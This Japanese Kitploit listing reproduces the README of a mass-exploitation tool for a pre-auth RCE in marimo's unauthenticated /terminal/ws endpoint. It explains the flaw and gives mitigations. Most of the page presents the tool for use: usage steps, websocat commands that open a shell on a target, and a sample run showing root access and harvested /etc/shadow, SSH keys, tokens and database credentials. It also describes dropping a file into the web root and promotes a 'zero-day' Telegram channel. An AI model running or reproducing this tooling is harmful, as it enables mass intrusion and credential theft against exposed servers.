Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-39987 — marimoはリアクティブなPythonノートブックです。0.23.0より前のバージョンでは、MarimoにPre-Auth RCEの脆弱性が存在します。 | Kitploit
ツール/GitHubGitHub/nxploited/cve-2026-39987
特権昇格エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテストレッドチーミングリモートアクセスツール
GitHubnxploited/cve-2026-39987

CVE-2026-39987

marimoはリアクティブなPythonノートブックです。0.23.0より前のバージョンでは、MarimoにPre-Auth RCEの脆弱性が存在します。

リポジトリを見る
144ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-39987

marimoはリアクティブPythonノートブックです。0.23.0より前のバージョンでは、Marimoに事前認証RCE(Pre-Auth RCE)の脆弱性があります。

root@kitploit:~
   ___  _        ___     __  __  __  __      ___  __  __  _______
  / (_)(_|   |_// (_)   /  )/  \/  )/       /   \/  |/  |/  \   /
 |       |   |  \__       /|    | /| __       __/\_/|\_/|\__/  / 
 |       |   |  /   -----/ |    |/ |/  \-----   \   |   |/  \ /  
  \___/   \_/   \___/   /___\__//___\__/    \___/   |   |\__//   

CVE-2026-39987

Marimo /terminal/ws — 未認証WebSocketによる事前認証RCE

マススキャナー · 完全列挙 · スマート検出


Python CVE Severity Type Platform License


著者: Nxploited  ·  Telegram: @KNxploited


📢 最新の無料ゼロデイ&エクスプロイトを入手するにはTelegramチャンネルに参加してください:

🔗 Nxploited ZeroDay Hub — t.me/KNxploited


📖 概要

CVE-2026-39987 は、オープンソースのリアクティブPythonノートブックプラットフォームである Marimo に影響を及ぼす 重大な事前認証リモートコード実行(Pre-Auth RCE) 脆弱性です。

ターミナルWebSocketエンドポイント /terminal/ws は認証検証を完全に欠いており、認証されていない任意のリモート攻撃者 が 完全なPTYシェル を取得し、実行中プロセスの権限(コンテナ化されたデプロイメントでは多くの場合 root)で任意のシステムコマンドを実行できるようになります。

接続受け入れ前に validate_auth() を正しく呼び出す /ws などの他のWebSocketエンドポイントとは異なり、/terminal/ws エンドポイントは実行モードとプラットフォーム互換性のみを検証し、認証を完全にスキップします。

✅ 修正バージョン: marimo >= 0.23.0 ❌ 0.23.0 より前のすべてのバージョンが脆弱です


🔍 脆弱性の詳細

🧩 根本原因

root@kitploit:~
/ws          →  calls validate_auth()  ✅  Authentication enforced
/terminal/ws →  skips validate_auth()  ❌  No authentication

/terminal/ws ハンドラーは以下のみをチェックします。

  1. サーバーが正しいモードで実行されているかどうか
  2. プラットフォームがターミナルエミュレーションをサポートしているかどうか

セッショントークン、Cookie、その他いかなる形式のアイデンティティも検証しないため、公開されたすべてのMarimoインスタンスがそのままシェルになります。


✨ 機能

  • 🔥 マススキャナー — 設定可能なスレッドプールで数千のターゲットを並行スキャン
  • 🧠 スマート環境検出 — 自動検出:Marimo · cPanel/WHM · Plesk · Apache · Nginx · Docker · Node.js · Pythonアプリ
  • 🐚 完全なPTYシェルアクセス — 完全なターミナルエミュレーションを備えた未認証WebSocketシェル
  • 📓 ノートブック列挙 — すべての .py Marimoノートブックを再帰的に発見して読み取り
  • 🔑 トークン収集 — CLI引数、ENV変数、ログファイルからMarimoトークンを抽出
  • 🗄️ データベース検出 — MySQL · PostgreSQL · Redis · SQLite · DuckDB を自動プローブ
  • 🔐 認証情報の抽出 — .env ファイル · wp-config.php · SSH秘密鍵 · /etc/shadow
  • 📂 Webシェル検証(Nx Drop) — Webルートに概念実証(PoC)ファイルを書き込み、HTTPで検証
  • 📊 ターゲットごとの構造化出力 — 各ターゲットに整理された専用の出力ディレクトリを生成
  • 🎨 リッチなターミナルUI — パネル、進捗トラッキング、ライブ統計を備えたプロフェッショナルなカラーコード化インターフェース

⚙️ 必要条件

root@kitploit:~
Python 3.10 or higher

依存関係のインストール:

root@kitploit:~
pip install websockets rich requests urllib3

またはrequirementsファイルを使用:

root@kitploit:~
pip install -r requirements.txt

requirements.txt

root@kitploit:~
websockets
rich
requests
urllib3

🚀 使用方法

ステップ1 — ターゲットファイルを準備

targets.txt という名前のファイルを作成し、1行に1ターゲットを記述します。 ツールは以下のすべての形式を受け付けます。

root@kitploit:~
192.168.1.100
192.168.1.101:2718
10.10.10.50:2718
https://notebook.example.com
wss://secure.notebook.io
marimo.target.local:2718

対応形式:ベアIP · IP:port · ドメイン · ドメイン:port · http:// · https:// · ws:// · wss://


ステップ2 — スキャナーを起動

root@kitploit:~
python3 CVE-2026-39987.py

ステップ3 — 対話型設定

root@kitploit:~
  ▸ Targets file  (default: targets.txt) : targets.txt
  ▸ Threads       (default: 50)          : 100

スレッド範囲:1〜300。推奨:ネットワークに応じて50〜150。


🖥️ 出力プレビュー

ターミナルUI

root@kitploit:~
  ╭──────────────────────────────────────────────────────────╮
  │ CVE-2026-39987  ·  Marimo WebSocket RCE                  │
  │ MASS SCANNER  ·  FULL ENUM  ·  SMART DETECT              │
  │ By: Nxploited  ·  github.com/Nxploited  ·  @KNxploited   │
  ╰──────────────────────────────────────────────────────────╯

  ══════════════ ws://192.168.1.100:2718/terminal/ws ══════════

  ╭────────────────────────────────────────╮
  │  ◈◈◈  ROOT ACCESS  ◈◈◈                │
  │  ws://192.168.1.100:2718               │
  │  uid ▸  uid=0(root)  groups=[root]     │
  ╰────────────────────────────────────────╯

  ──  ENVIRONMENT  ──────────────────────────────────────────
    ✦  Type                  MARIMO
    ◈  Docker                True
    ◈  Marimo version        0.22.1
    ◈  Notebook directory    /app/notebooks

  ──  MARIMO — NOTEBOOKS  ───────────────────────────────────
    ✦  Notebooks             7 found
       ·                     /app/notebooks/analysis.py
       ·                     /app/notebooks/data_pipeline.py
       ·                     /app/notebooks/etl_job.py

  ──  MARIMO — TOKENS  ──────────────────────────────────────
    ✦  Token CLI             secret-token-abc123xyz
    ✦  .marimo.toml          /root/.marimo.toml

  ──  /etc  SENSITIVE  ──────────────────────────────────────
    ✦  /etc/shadow           READABLE  [42 entries]
    ◈  /etc/passwd           [42 lines]
    ◈  /etc/crontab          [12 lines]

  ──  SSH KEYS  ─────────────────────────────────────────────
    ✦  /root/.ssh/id_rsa     FOUND
    ✦  /root/.ssh/id_ed25519 FOUND

  ──  DATABASES  ────────────────────────────────────────────
    ✦  MySQL                 DATABASES LISTED
    ✦  Redis                 PONG — NO AUTH
    ✦  DuckDB files          /app/notebooks/data.duckdb

  ──  SENSITIVE ENV VARS  ───────────────────────────────────
    ✦  DATABASE_URL          postgresql://admin:p4ss@db:5432/prod
    ✦  AWS_SECRET_ACCESS_KEY redacted...

  ──  NX FILE DROP  ──────────────────────────────��──────────
    ✦  Shell write           /app/notebooks/Nx.py
    ✦  HTTP access           http://192.168.1.100:2718/Nx.py

  ──  COMPLETE  ─────────────────────────────────────────────
    ◈  Saved to              nx_output/192.168.1.100_2718/

  ◦ 73/200  ROOT:5  PRIV:11  SHELL:18  FAIL:39  6.3/s

ライブ進捗

root@kitploit:~
  ◦ 73/200  ROOT:5  PRIV:11  SHELL:18  FAIL:39  6.3/s

📁 出力構造

root@kitploit:~
nx_output/
│
├── summary.txt                    ← Master summary of all targets
├── curls.txt                      ← websocat one-liners for all shells
├── Nx.txt                         ← HTTP-confirmed file drops
│
└── 192.168.1.100_2718/            ← Per-target directory
    ├── summary.txt                ← Target summary & connect command
    ├── identity.txt               ← id · whoami · uname · hostname · shell
    ├── users.txt                  ← /etc/passwd · shadow · sudoers · last
    ├── ssh_keys.txt               ← Discovered SSH private keys & auth keys
    ├── etc_data.txt               ← /etc/hosts · resolv.conf · crontab · env
    ├── env_sensitive.txt          ← Filtered sensitive environment variables
    ├── databases.txt              ← MySQL · Redis · PostgreSQL · config files
    ├── app_configs.txt            ← .env · wp-config.php · settings.py · etc
    ├── notebooks.txt              ← Full content of all Marimo notebooks
    ├── marimo_toml.txt            ← .marimo.toml configuration files
    ├── marimo_tokens.txt          ← All extracted Marimo auth tokens
    ├── dotenv.txt                 ← .env / .env.local / .env.production
    ├── databases_marimo.txt       ← DuckDB · SQLite · DB URLs from notebooks
    ├── webserver_configs.txt      ← Apache/Nginx VirtualHosts & configs
    ├── network.txt                ← Interfaces · routes · open ports · iptables
    ├── processes.txt              ← ps aux · crontab · cron.d · systemd units
    ├── logs.txt                   ← auth.log · syslog · access.log · error.log
    ├── nx_file.txt                ← Nx drop path · web root · HTTP URL
    └── software.txt               ← PHP · Python · Node.js versions

📊 アクセスレベル


🌍 対応環境


🔌 手動接続

脆弱なターゲットを特定したら、websocat を使用して手動で接続します:

root@kitploit:~
# Install websocat
cargo install websocat
# or: https://github.com/vi/websocat/releases

# Connect to shell
websocat "ws://TARGET:2718/terminal/ws" -H "Authorization: Bearer any-value"

# Connect over TLS
websocat "wss://TARGET/terminal/ws" -H "Authorization: Bearer any-value"

Authorization ヘッダーの値は無関係です — このエンドポイントは任意のトークンまたはトークンなしを受け入れます。


🛡️ 緩和策

本番環境または公開環境でMarimoを実行している場合:

  1. marimo >= 0.23.0 へ直ちにアップグレードする
  2. 認証付きリバースプロキシ(Nginx + BasicAuth / OAuth2プロキシ)の背後にMarimoを配置する
  3. Marimoを 127.0.0.1 のみにバインドする — インターネットに直接公開しない
  4. ファイアウォールルールを使用して /terminal/ws へのアクセスを制限する
  5. 公開されたインスタンスがないかデプロイメントを監査する

⚠️ 免責事項

本ツールは、教育目的、許可を得たペネトレーションテスト、および正当なセキュリティ研究のためにのみ提供されます。

このツールを任意のターゲットに対して実行する前に、システム所有者からの明示的な書面による許可が必須です。所有していない、またはテストする許可を得ていないシステムに対する不正使用は違法であり、Computer Fraud and Abuse Act(CFAA)、Computer Misuse Act、EUサイバー犯罪指令、およびお住まいの地域の同等の法律を含む(ただしこれらに限定されない)適用されるコンピュータ犯罪法に基づき、民事および/または刑事訴追の対象となる可能性があります。

著者は、本ツールの誤用によって生じたいかなる損害、データ損失、または法的結果についても責任を負いません。

責任を持って使用してください。倫理的にハッキングしてください。


👤 著者

ツールをダウンロード
プロパティ値
CVE IDCVE-2026-39987
影響を受けるソフトウェアmarimo < 0.23.0
脆弱性の種類未認証WebSocket経由の事前認証RCE
影響を受けるエンドポイント/terminal/ws
攻撃ベクターネットワーク
認証の必要性❌ 不要
ユーザー操作❌ 不要
深刻度🔴 Critical
影響完全なPTYシェル · 任意のコマンド実行
修正バージョンmarimo 0.23.0
アイコンレベル説明
✦✦✦ 🟢ROOTuid=0 — 完全なrootアクセス
✦✦ 🟡PRIVsudo · wheel · docker · disk · adm グループのメンバー
✦ 🔵SHELL非特権シェルアクセス
✗ 🔴FAIL接続拒否 · タイムアウト · HTTPエラー
環境自動検出特化型収集
🟣 Marimo✅ノートブック · トークン · DuckDB · .marimo.toml · マウント
🔵 cPanel / WHM✅userdomains · MySQLパスワード · WHMユーザー一覧
🟠 Plesk✅psa.shadow · vhosts · MySQL管理者認証情報
🌐 Apache✅VirtualHost · sites-enabled · アクセス/エラーログ
🟢 Nginx✅サーバーブロック · conf.d · アクセス/エラーログ
🐍 Pythonアプリ✅.env · settings.py · config.py · Pipfile
🟡 Node.js✅.env · package.json · publicディレクトリ
🐳 Docker✅バインドマウント · コンテナローカルストレージ検出
⚙️ 汎用✅未知の環境に対する完全列挙スイート
ハンドルNxploited
GitHubgithub.com/Nxploited
Telegram@KNxploited
チャンネルNxploited ZeroDay Hub


「静かになればなるほど、より多くのものが聞こえてくる。」


⭐ このツールが役に立ったなら、スターを付けて、さらに多くのゼロデイを入手するためにチャンネルに参加してください! ⭐

🔗 t.me/KNxploited